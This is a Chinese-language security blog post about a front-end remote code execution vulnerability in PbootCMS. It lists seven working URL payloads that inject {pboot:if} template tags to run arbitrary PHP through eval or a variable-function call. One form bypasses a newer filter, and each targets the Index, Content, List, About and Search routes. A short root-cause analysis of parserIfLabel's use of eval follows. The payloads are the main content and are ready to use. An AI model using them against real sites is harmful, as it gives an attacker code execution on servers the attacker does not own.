Fork me on GitHub

pbootcms前台命令执行

前台命令执行

payload
1
2
3
4
5
6
7
http://www.pbootcms.com:82/index.php/index/index?s={pboot:if(eval($_GET[1]));//)})}}{/pboot:if}&1=phpinfo();
新版过滤eval,phpinfo
http://www.pbootcms.com:82/index.php/index/index?s={pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
http://www.pbootcms.com:82/index.php/Content/2?s={pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
http://www.pbootcms.com:82/index.php/List/2?safe={pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
http://www.pbootcms.com:82/index.php/About/2?safe={pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
http://www.pbootcms.com:82/index.php/Search/index?safe={pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
漏洞复现

漏洞分析
  • 漏洞成因是在ParserController.phpeval()

  • parserIfLabel()中调用了eval()parserAfter()调用了parserfLabel()

  • 跟进parserAfter()。根据注释和代码可以分析出这是这个模板在前端渲染解析公共后置标签。这里存在eval()函数调用。只要存在把用户输入输出到前端的地方,就会有代码执行漏洞。调用parserAfter()Index,About,Content,List,Search

  • Index为例。可以看到控制前端输出,说明存在漏洞

  • 现在分析下payload。因为在执行eval()之前,进行了正则验证

    $pattern = '/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/';这个正则把标签 if 后面的内容取了出来,然后经过过滤并执行。
  • 帮助手册中的{pboot:if}用法
  • 使用eval就可以绕过function_exists()会返回false,这样$danger就不会为true

    1
    2
    3
    4
     function_exists ( string $function_name ) : bool
    如果`function_name`存在且的确是一个函数就返回 TRUE ,反之则返回 FALSE 。
    eval()
    是一个语言构造器而不是一个函数,不能被可变函数(is_callable(),call_user_func(),function_exists())调用。
  • 所以直接用eval()可以绕过$danger

    1
    http://www.pbootcms.com:82/index.php/index/index?s={pboot:if(eval($_GET[1]));//)})}}{/pboot:if}&1=phpinfo();

参考文献:https://www.anquanke.com/post/id/167138

https://xz.aliyun.com/t/3533

-------------本文结束感谢您的阅读-------------